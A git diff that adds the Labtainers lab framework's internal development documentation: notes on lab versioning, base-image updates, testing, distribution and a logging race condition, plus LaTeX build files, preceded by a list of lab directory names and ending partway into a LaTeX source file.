+labtainer/trunk/labs/httplab +labtainer/trunk/labs/liveforensics +labtainer/trunk/labs/bind-shell +labtainer/trunk/labs/tlab +labtainer/trunk/labs/metasploitable-test +labtainer/trunk/labs/kali-test +labtainer/trunk/labs/my-remote-dns +labtainer/trunk/labs/remote-dns2 +labtainer/trunk/labs/remote-dns +labtainer/trunk/labs/backups +labtainer/trunk/labs/centos-log +labtainer/trunk/labs/dhcp-test +labtainer/trunk/labs/xlab diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/Makefile new file mode 100644 index 000000000..a06cd457a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/Makefile @@ -0,0 +1,6 @@ +development.pdf: development.tex + latex development + pdflatex development +clean: + rm -fr auto + rm -fr development.aux development.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/apt-sources.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/apt-sources.txt new file mode 100644 index 000000000..a9a422467 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/apt-sources.txt @@ -0,0 +1,5 @@ +The apt sources.list may name mirrors that cannot be reached. +The container from ubuntu initially names archive.ubuntu.com +The Labtainer config file will include an entry for an alternate +source. A sed command in the dockerfile will effect the change. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/compat.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/compat.tex new file mode 100644 index 000000000..e0d1b408b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/compat.tex @@ -0,0 +1,115 @@ +Note on backward compatibility + +A user may easily get a new container image that requires framework +script support not present in the user's environment, e.g., has +not yet done an update-labtainer.sh. + +A user may have an old container not supported by framework scripts +obtained via an update-labtainer.sh + +\section{Lab Versions} +Substantive changes to an existing published lab should be made in +a new named lab. A "substantive" change is defined as one that would +break any existing installation. The sole exception is the case in +which a newer lab image would require a Labtainers update. + +Never change container names for existing labs. + +Management of multiple versions of the same lab will be achieved entirely +by the user environment and what is distributed to it. + +\subsection{Managing versions} +Labtainer updates will not remove old labs from installed systems, however +they may stop distributing old labs. + +If a user installation contains two versions of a lab, only the latest will +be displayed in the labtainer command -- unless the installation includes +containers for the older -- in which case both will be listed. + +If a user starts an older version of a lab for the first time, warn the user +with a prompt. Subsequently, note the existence of the newer lab without a prompt. + +Lab names change with versions, e.g., centos-logv2. (tab completion would really +help here). + +Defining multiple labs as being different versions of the same lab is achieved +in a "version" file in the lab/config directory. Absence of the file implies the +lab is its only version and is its base name. Otherwise, the file includes the +lab basename and its version number, which is syntatically independent of the name +of the lab, e.g., lab names need not incorporate a "v2". Version numbers are integers. +Lab basnames are ONLY used to distinguish versions of the same lab. Students and +instructors name labs using their lab name, not their basename. + +\subsection{Images dependent on framework versions} +The sole exception to the requirement for compatability of lab versions is the +case where we can request the user to update the labtainers framework in order +to run the new labs. This concept is not limited to versions of the same lab, +it also pertains to changes to scripts in images that require corresponding +support from the framework. An example might be a new argument to the +parameterize.sh script. If new images expect this parameter, then the framework +must provide it, i.e., it must be updated. (Backward compatability must still be +supported, i.e., old images MUST run with all new frameworks.) + +These versions relationships will be managed crudely. Once any new lab requires an +updated framework, all subsequent labs will require at least that framework version, +(whether it needs it or not). + +These versions are managed by a version number imbedded in the build process. + + +\subsection{Base image replacements and changes} +Transitioning to new base images will force some users to wait for new large downloads +when starting a new lab. + +Can we tell the student how large the download will be? not likely. +But we can identify the lack of a base image on the student computer, and notify them +of that. + +MOTIVE: Reduce cumulative size of all base images needed to perform labs. +This means always rebuilding all labs whenever a base changes. + +OPTIMIZE for size of the VM. + +Roadmap: +\begin{itemize} +\item Replace existing images with identical images having new version labels, +thus forcing an update of the framework. +\item New framework version will be sensitive to base image versions. + +\item Re-tag all lab images to reflect an initial base image version. + +\item Before a pull (or a update-labtainer.sh!), the framework will determine its +base-image version, and pull the lab image versions consistent with that base image. + +\item The tag associated with each lab image will reflect its base image +dependency. The "latest" image version implies the latest base image version. + +\item The initial base image version is 1. All images will be tagged to reflect +that version. + +\item Separate logic for ensuring student has necessary base for a lab, and prompt if +a big download is needed. +\end{itemize} + +NEVER PULL and old base. NEVER build from an old base + +If a base is updated, you MUST rebuild all labs. + + + +PROCEDURE +publish new framework +retag all images + +rebuild base images and push + +rebuild all images + + +HOW to run and test old images? + +Keep an old VM! + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/dev.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/dev.tex new file mode 100644 index 000000000..f58cde9d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/dev.tex @@ -0,0 +1,93 @@ +The framework has not yet been adapted to use Linux package managers. +Currently, scripts are run from a workspace directory and python +paths are managed relatively between scripts. + +Student scripts, e.g., start.py, run from the trunk/scripts/labtainer-student directory. +That directory also contains the labutils.py, which contains most of the framework +functions. + +When a student container is first started "docker exec" is used +to run parameterize.sh on the container. + +That script also invokes hookBash.sh, which adds the bash +sdtin/stout capturing hook, and adds the startup.sh call +into the .profile. + +The startup.sh scripts differ between instructor and student. The latter +displays instructions.txt. The former runs grading. +The startup.sh uses a lock to control which +terminal displays the instructions or grading. In practice instruction +display and the running of the instructor.py script is done by +an xterm that explicitly runs the startup.sh directly, and thus +the startup.sh invoked by profile.sh typically never does anything. +HOWEVER... the startup.sh invoked by student will source a student_startup.sh if present. + +Regression testing of grading functions is performed by labtainer-instructor/regress.py. +Expected results are stored in the labtainer/testsets directory. + +\section{Developer Software Prerequisits} +\begin {itemize} +\item Subversion +\item Latex (texlive-full) +\end {itemize} + + +\section{Getting Labtainers from Subversion} +svn co https://tor.ern.nps.edu/svn/proj/labtainer +Change directory to trunk/setup-scripts and run ./build-docs.sh to build the PDF lab +manuals so that you can reference the manuals while you test or otherwise reference +existing labs. (Please follow the lab manual and report discrepancies!) +Then run ./pull-all.sh to pull all the baseline images (so that your running of +existing labs is more akin to what students and instructors do so we can better test that). + +\section{Testing and Running Existing Labs} +There are situations where you will run an existing lab, e.g., to test it, or to +observe some example. When running labs, please refer to the lab manuals +so that they get reivewed and tested by different people. Also, please first delete +the lab using trunk/setup\_scripts/removelab.sh to ensure that you are running the latest +version of the published lab. If you find the lab to be broken, e.g., missing a file, please +attempt to run "rebuild.py" on the lab. Report these findings to the lab author. And always +run removelab.sh after you have run an existing lab via rebuild.py. Again, the goal is to +force ourselves to run the distributed labs unless we have specific reasons to do otherwise. + + +\section{Automation and Distributions} +The mkdist.sh script runs on a Linux VM hosted on windows, and creates the distribution tar +and copies it into a shared folder. From that folder, it is copied to the +\\my.nps.edu@SSL\DavWWWRoot\webdav\c30-staging\document\_library" and then "Publish to Live" is +performed on the Liferay site. +Two prepackaged VMs are maintained: one for VirtualBox, and one for VMWare. Each include +their respective guest additions. The VMs are maintained on a Linux system using command line +utilities, e.g., VBoxManage. The VMs are rigged to update labtainers, including a pull of +baseline images, on each boot until the first lab is commenced. Scripts named "export*" are +used to created the appliance files. The scripts re-import into test images, which must be +manually tested. The WinSCP script pushes new applicance images to the CyberCIEGE download +directory on the C3O web server. (Wine and WinSCP must be installed on the Linux host that +manages the VMs. + +\section {Race condition on checklocal.sh output} +If an mynotify.py event causes an output from checklocal.py, that may conflict with +concurrent output from checklocal.py resulting from some program/script running. In +theory, the program/script should complete its run of checklocal before the program/script +actually gets to access the file that triggers a mynotify watch. So, the latter's output +to the timestamped file is appended. Further, the mynotify.py looks for an existing timestamped +file, and if not found, looks for one from the previous second. This hack is an attempt to +keep the outputs merged. It will fail if the access does not happen within a second of the +program start. See the acl lab. + +\section {installation sizes} +An initial install, including the base images, requires about 4GB. Installing a larger lab, +e.g., snort, requires an additional 1GB. Running bufoverflow added 22M. + +\section {temporal logic considerations} +When evaluating results from logfiles containing timestamps use FILE\_TS or FILE\_TS\_REGEX +to ensure you get timestamped values for only matching records. Reliance on goals.config to +matchany can result in timestamped results that don't corrolate to the desired record. + +\section {parameterizing the start.config} +Is difficult. The current parameterization features only affect containers, and leave no +persistent trail. Thus, several students could share a computer and, via "redo.py", each +perform that same lab with parameterization maintained for each student. There is only one +start.config per Labtainers installation. But... the start.config is only used during +docker create container. So that could be driven from a copy that is parameterized as needed? +Except, the parameterized values are available for assessment. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.aux new file mode 100644 index 000000000..220293f47 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.aux @@ -0,0 +1,47 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\BKM@entry[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\BKM@entry{id=1,dest={73656374696F6E2E31},srcline={21}}{496E74726F64756374696F6E} +\BKM@entry{id=2,dest={73656374696F6E2E32},srcline={27}}{446576656C6F70657220536F66747761726520507265726571756973697473} +\BKM@entry{id=3,dest={73656374696F6E2E33},srcline={34}}{47657474696E67204C61627461696E6572732066726F6D2053756276657273696F6E} +\BKM@entry{id=4,dest={73656374696F6E2E34},srcline={43}}{54657374696E6720616E642052756E6E696E67204578697374696E67204C616273} +\BKM@entry{id=5,dest={73656374696F6E2E35},srcline={53}}{4F76657276696577206F66204C61627461696E657220456C656D656E7473} +\@writefile{toc}{\contentsline {section}{\numberline {1}Introduction}{2}{section.1}} +\@writefile{toc}{\contentsline {section}{\numberline {2}Developer Software Prerequisits}{2}{section.2}} +\@writefile{toc}{\contentsline {section}{\numberline {3}Getting Labtainers from Subversion}{2}{section.3}} +\@writefile{toc}{\contentsline {section}{\numberline {4}Testing and Running Existing Labs}{2}{section.4}} +\@writefile{toc}{\contentsline {section}{\numberline {5}Overview of Labtainer Elements}{2}{section.5}} +\BKM@entry{id=6,dest={73656374696F6E2E36},srcline={77}}{436F6E74726F6C20466C6F77} +\BKM@entry{id=7,dest={73656374696F6E2E37},srcline={94}}{4175746F6D6174696F6E20616E6420446973747269627574696F6E73} +\@writefile{toc}{\contentsline {section}{\numberline {6}Control Flow}{3}{section.6}} +\@writefile{toc}{\contentsline {section}{\numberline {7}Automation and Distributions}{3}{section.7}} +\BKM@entry{id=8,dest={73656374696F6E2E38},srcline={145}}{696E7374616C6C6174696F6E2073697A6573} +\BKM@entry{id=9,dest={73656374696F6E2E39},srcline={150}}{4E6F746573} +\BKM@entry{id=10,dest={73756273656374696F6E2E392E31},srcline={151}}{5261636520636F6E646974696F6E206F6E20636865636B6C6F63616C2E7368206F7574707574} +\BKM@entry{id=11,dest={73756273656374696F6E2E392E32},srcline={161}}{74656D706F72616C206C6F67696320636F6E73696465726174696F6E73} +\BKM@entry{id=12,dest={73756273656374696F6E2E392E33},srcline={166}}{706172616D65746572697A696E67207468652073746172742E636F6E666967} +\BKM@entry{id=13,dest={73756273656374696F6E2E392E34},srcline={171}}{5061636B6167696E67} +\BKM@entry{id=14,dest={73756273656374696F6E2E392E35},srcline={176}}{546F646F} +\@writefile{toc}{\contentsline {section}{\numberline {8}installation sizes}{4}{section.8}} +\@writefile{toc}{\contentsline {section}{\numberline {9}Notes}{4}{section.9}} +\@writefile{toc}{\contentsline {subsection}{\numberline {9.1}Race condition on checklocal.sh output}{4}{subsection.9.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {9.2}temporal logic considerations}{4}{subsection.9.2}} +\@writefile{toc}{\contentsline {subsection}{\numberline {9.3}parameterizing the start.config}{4}{subsection.9.3}} +\@writefile{toc}{\contentsline {subsection}{\numberline {9.4}Packaging}{4}{subsection.9.4}} +\@writefile{toc}{\contentsline {subsection}{\numberline {9.5}Todo}{5}{subsection.9.5}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.dvi new file mode 100644 index 000000000..3f8050885 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.dvi differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.log b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.log new file mode 100644 index 000000000..e111a3381 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.log @@ -0,0 +1,363 @@ +This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2019.6.19) 19 JUN 2019 12:21 +entering extended mode + restricted \write18 enabled. + %&-line parsing enabled. +**development +(./development.tex +LaTeX2e <2016/02/01> +Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. +(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2014/09/29 v1.4h Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size12.clo +File: size12.clo 2014/09/29 v1.4h Standard LaTeX file (size option) +) +\c@part=\count79 +\c@section=\count80 +\c@subsection=\count81 +\c@subsubsection=\count82 +\c@paragraph=\count83 +\c@subparagraph=\count84 +\c@figure=\count85 +\c@table=\count86 +\abovecaptionskip=\skip41 +\belowcaptionskip=\skip42 +\bibindent=\dimen102 +) +(/usr/share/texlive/texmf-dist/tex/latex/geometry/geometry.sty +Package: geometry 2010/09/12 v5.6 Page Geometry + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty +Package: keyval 2014/10/28 v1.15 key=value parser (DPC) +\KV@toks@=\toks14 +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty +Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) +Package ifpdf Info: pdfTeX in PDF mode is detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifvtex.sty +Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) +Package ifvtex Info: VTeX not detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty +Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional +) +\Gm@cnth=\count87 +\Gm@cntv=\count88 +\c@Gm@tempcnt=\count89 +\Gm@bindingoffset=\dimen103 +\Gm@wd@mp=\dimen104 +\Gm@odd@mp=\dimen105 +\Gm@even@mp=\dimen106 +\Gm@layoutwidth=\dimen107 +\Gm@layoutheight=\dimen108 +\Gm@layouthoffset=\dimen109 +\Gm@layoutvoffset=\dimen110 +\Gm@dimlist=\toks15 +) +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty +Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty +Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) + + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty +Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) +Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) +Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) +Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) +Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) +Package ifluatex Info: LuaTeX not detected. +Package hobsub Info: Skipping package `ifvtex' (already loaded). +Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) +Package hobsub Info: Skipping package `ifpdf' (already loaded). +Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) +Package etexcmds Info: Could not find \expanded. +(etexcmds) That can mean that you are not using pdfTeX 1.50 or +(etexcmds) that some package has redefined \expanded. +(etexcmds) In the latter case, load this package earlier. +Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) +Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) +Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO +) +Package pdftexcmds Info: LuaTeX not detected. +Package pdftexcmds Info: \pdf@primitive is available. +Package pdftexcmds Info: \pdf@ifprimitive is available. +Package pdftexcmds Info: \pdfdraftmode found. +Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) +Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO +) +Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) +Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) +) +Package hobsub Info: Skipping package `hobsub' (already loaded). +Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) +Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) +Package: xcolor-patch 2011/01/30 xcolor patch +Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) +Package atveryend Info: \enddocument detected (standard20110627). +Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) +Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) +Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty +Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty +Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) +) +\@linkdim=\dimen111 +\Hy@linkcounter=\count90 +\Hy@pagecounter=\count91 + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def +File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) +) +\Hy@SavedSpaceFactor=\count92 + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg +File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive +) +Package hyperref Info: Option `colorlinks' set `true' on input line 4319. +Package hyperref Info: Hyper figures OFF on input line 4443. +Package hyperref Info: Link nesting OFF on input line 4448. +Package hyperref Info: Hyper index ON on input line 4451. +Package hyperref Info: Plain pages OFF on input line 4458. +Package hyperref Info: Backreferencing OFF on input line 4463. +Package hyperref Info: Implicit mode ON; LaTeX internals redefined. +Package hyperref Info: Bookmarks ON on input line 4688. +\c@Hy@tempcnt=\count93 + +(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty +\Urlmuskip=\muskip10 +Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. +) +LaTeX Info: Redefining \url on input line 5041. +\XeTeXLinkMargin=\dimen112 +\Fld@menulength=\count94 +\Field@Width=\dimen113 +\Fld@charsize=\dimen114 +Package hyperref Info: Hyper figures OFF on input line 6295. +Package hyperref Info: Link nesting OFF on input line 6300. +Package hyperref Info: Hyper index ON on input line 6303. +Package hyperref Info: backreferencing OFF on input line 6310. +Package hyperref Info: Link coloring ON on input line 6313. +Package hyperref Info: Link coloring with OCG OFF on input line 6320. +Package hyperref Info: PDF/A mode OFF on input line 6325. +LaTeX Info: Redefining \ref on input line 6365. +LaTeX Info: Redefining \pageref on input line 6369. +\Hy@abspage=\count95 +\c@Item=\count96 +\c@Hfootnote=\count97 +) + +Package hyperref Message: Driver (autodetected): hpdftex. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def +File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX +\Fld@listcount=\count98 +\c@bookmark@seq@number=\count99 + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty +Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) +Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 +82. +) +\Hy@SectionHShift=\skip43 +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bookmark.sty +Package: bookmark 2011/12/02 v1.24 PDF bookmarks (HO) + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bkm-pdftex.def +File: bkm-pdftex.def 2011/12/02 v1.24 bookmark driver for pdfTeX (HO) +\BKM@id=\count100 +)) +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.sty +Package: csquotes 2016/01/31 v5.1g context-sensitive quotations (JAW) + +(/usr/share/texlive/texmf-dist/tex/latex/etoolbox/etoolbox.sty +Package: etoolbox 2015/08/02 v2.2a e-TeX tools for LaTeX (JAW) +\etb@tempcnta=\count101 +) +\csq@reset=\count102 +\csq@gtype=\count103 +\csq@glevel=\count104 +\csq@qlevel=\count105 +\csq@maxlvl=\count106 +\csq@tshold=\count107 +\csq@ltx@everypar=\toks16 + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.def +File: csquotes.def 2016/01/31 v5.1g csquotes generic definitions (JAW) +) +Package csquotes Info: Trying to load configuration file 'csquotes.cfg'... +Package csquotes Info: ... configuration file loaded successfully. + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.cfg +File: csquotes.cfg +) +Package csquotes Info: Enabling multilingual quotes. +Package csquotes Info: Redefining alias 'english' -> 'english/american'. +) +Package csquotes Info: Checking for multilingual support... +Package csquotes Info: ... none found. + + +Package csquotes Warning: No multilingual support. +(csquotes) Cannot enable multilingual quotes on input line 7. + +(./development.aux) +\openout1 = `development.aux'. + +LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 7. +LaTeX Font Info: ... okay on input line 7. +LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 7. +LaTeX Font Info: ... okay on input line 7. +LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 7. +LaTeX Font Info: ... okay on input line 7. +LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 7. +LaTeX Font Info: ... okay on input line 7. +LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 7. +LaTeX Font Info: ... okay on input line 7. +LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 7. +LaTeX Font Info: ... okay on input line 7. +LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 7. +LaTeX Font Info: ... okay on input line 7. + +*geometry* driver: auto-detecting +*geometry* detected driver: pdftex +*geometry* verbose mode - [ preamble ] result: +* driver: pdftex +* paper: a4paper +* layout: +* layoutoffset:(h,v)=(0.0pt,0.0pt) +* modes: +* h-part:(L,W,R)=(56.9055pt, 483.69684pt, 56.90553pt) +* v-part:(T,H,B)=(56.9055pt, 731.23582pt, 56.90552pt) +* \paperwidth=597.50787pt +* \paperheight=845.04684pt +* \textwidth=483.69684pt +* \textheight=731.23582pt +* \oddsidemargin=-15.36449pt +* \evensidemargin=-15.36449pt +* \topmargin=-52.36449pt +* \headheight=12.0pt +* \headsep=25.0pt +* \topskip=12.0pt +* \footskip=30.0pt +* \marginparwidth=44.0pt +* \marginparsep=10.0pt +* \columnsep=10.0pt +* \skip\footins=10.8pt plus 4.0pt minus 2.0pt +* \hoffset=0.0pt +* \voffset=0.0pt +* \mag=1000 +* \@twocolumnfalse +* \@twosidefalse +* \@mparswitchfalse +* \@reversemarginfalse +* (1in=72.27pt=25.4mm, 1cm=28.453pt) + +\AtBeginShipoutBox=\box26 +(/usr/share/texlive/texmf-dist/tex/latex/graphics/color.sty +Package: color 2016/01/03 v1.1b Standard LaTeX Color (DPC) + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/color.cfg +File: color.cfg 2007/01/18 v1.5 color configuration of teTeX/TeXLive +) +Package color Info: Driver file: pdftex.def on input line 143. + +(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def +File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX +\Gread@gobject=\count108 + +(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii +[Loading MPS to PDF converter (version 2006.09.02).] +\scratchcounter=\count109 +\scratchdimen=\dimen115 +\scratchbox=\box27 +\nofMPsegments=\count110 +\nofMParguments=\count111 +\everyMPshowfont=\toks17 +\MPscratchCnt=\count112 +\MPscratchDim=\dimen116 +\MPnumerator=\count113 +\makeMPintoPDFobject=\count114 +\everyMPtoPDFconversion=\toks18 +))) +Package hyperref Info: Link coloring ON on input line 7. + (/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty +Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty +Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) +) +\c@section@level=\count115 +) +LaTeX Info: Redefining \ref on input line 7. +LaTeX Info: Redefining \pageref on input line 7. +LaTeX Info: Redefining \nameref on input line 7. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <14.4> on input line 11. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <7> on input line 11. + + +LaTeX Warning: No \author given. + +[1 + +{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}] (./development.toc +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <12> on input line 10. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <8> on input line 10. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <6> on input line 10. +) +\tf@toc=\write3 +\openout3 = `development.toc'. + +pdfTeX warning (ext4): destination with the same identifier (name{page.1}) has +been already used, duplicate ignored + + \relax +l.20 \newpage + [1] +LaTeX Font Info: Try loading font information for OMS+cmr on input line 29. + (/usr/share/texlive/texmf-dist/tex/latex/base/omscmr.fd +File: omscmr.fd 2014/09/29 v2.5h Standard LaTeX font definitions +) +LaTeX Font Info: Font shape `OMS/cmr/m/n' in size <12> not available +(Font) Font shape `OMS/cmsy/m/n' tried instead on input line 29. + +[2] [3] +Package atveryend Info: Empty hook `BeforeClearDocument' on input line 181. + [4] [5] +Package atveryend Info: Empty hook `AfterLastShipout' on input line 181. + (./development.aux) +Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 181. +Package atveryend Info: Empty hook `AtEndAfterFileList' on input line 181. +Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 181. + ) +Here is how much of TeX's memory you used: + 6398 strings out of 494953 + 94524 string characters out of 6180977 + 193703 words of memory out of 5000000 + 9643 multiletter control sequences out of 15000+600000 + 9324 words of font info for 33 fonts, out of 8000000 for 9000 + 14 hyphenation exceptions out of 8191 + 29i,6n,30p,928b,486s stack positions out of 5000i,500n,10000p,200000b,80000s + +Output written on development.pdf (6 pages, 86437 bytes). +PDF statistics: + 133 PDF objects out of 1000 (max. 8388607) + 117 compressed objects within 2 object streams + 21 named destinations out of 1000 (max. 500000) + 113 words of extra memory for PDF output out of 10000 (max. 10000000) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.out.ps b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.out.ps new file mode 100644 index 000000000..746f06ee3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.out.ps @@ -0,0 +1,61 @@ +%! +/pdfmark where{pop} +{/globaldict where{pop globaldict}{userdict}ifelse/pdfmark/cleartomark load put} +ifelse +[ +/Title(Introduction) +/Action/GoTo/Dest(section.1)cvn +/OUT pdfmark +[ +/Title(Developer Software Prerequisits) +/Action/GoTo/Dest(section.2)cvn +/OUT pdfmark +[ +/Title(Getting Labtainers from Subversion) +/Action/GoTo/Dest(section.3)cvn +/OUT pdfmark +[ +/Title(Testing and Running Existing Labs) +/Action/GoTo/Dest(section.4)cvn +/OUT pdfmark +[ +/Title(Overview of Labtainer Elements) +/Action/GoTo/Dest(section.5)cvn +/OUT pdfmark +[ +/Title(Control Flow) +/Action/GoTo/Dest(section.6)cvn +/OUT pdfmark +[ +/Title(Automation and Distributions) +/Action/GoTo/Dest(section.7)cvn +/OUT pdfmark +[ +/Title(installation sizes) +/Action/GoTo/Dest(section.8)cvn +/OUT pdfmark +[ +/Title(Notes) +/Count -5 +/Action/GoTo/Dest(section.9)cvn +/OUT pdfmark +[ +/Title(Race condition on checklocal.sh output) +/Action/GoTo/Dest(subsection.9.1)cvn +/OUT pdfmark +[ +/Title(temporal logic considerations) +/Action/GoTo/Dest(subsection.9.2)cvn +/OUT pdfmark +[ +/Title(parameterizing the start.config) +/Action/GoTo/Dest(subsection.9.3)cvn +/OUT pdfmark +[ +/Title(Packaging) +/Action/GoTo/Dest(subsection.9.4)cvn +/OUT pdfmark +[ +/Title(Todo) +/Action/GoTo/Dest(subsection.9.5)cvn +/OUT pdfmark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.pdf new file mode 100644 index 000000000..f78eaeabe Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.tex new file mode 100644 index 000000000..f3d002575 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.tex @@ -0,0 +1,181 @@ +\documentclass[12pt]{article} +\usepackage{geometry} +\geometry{a4paper, 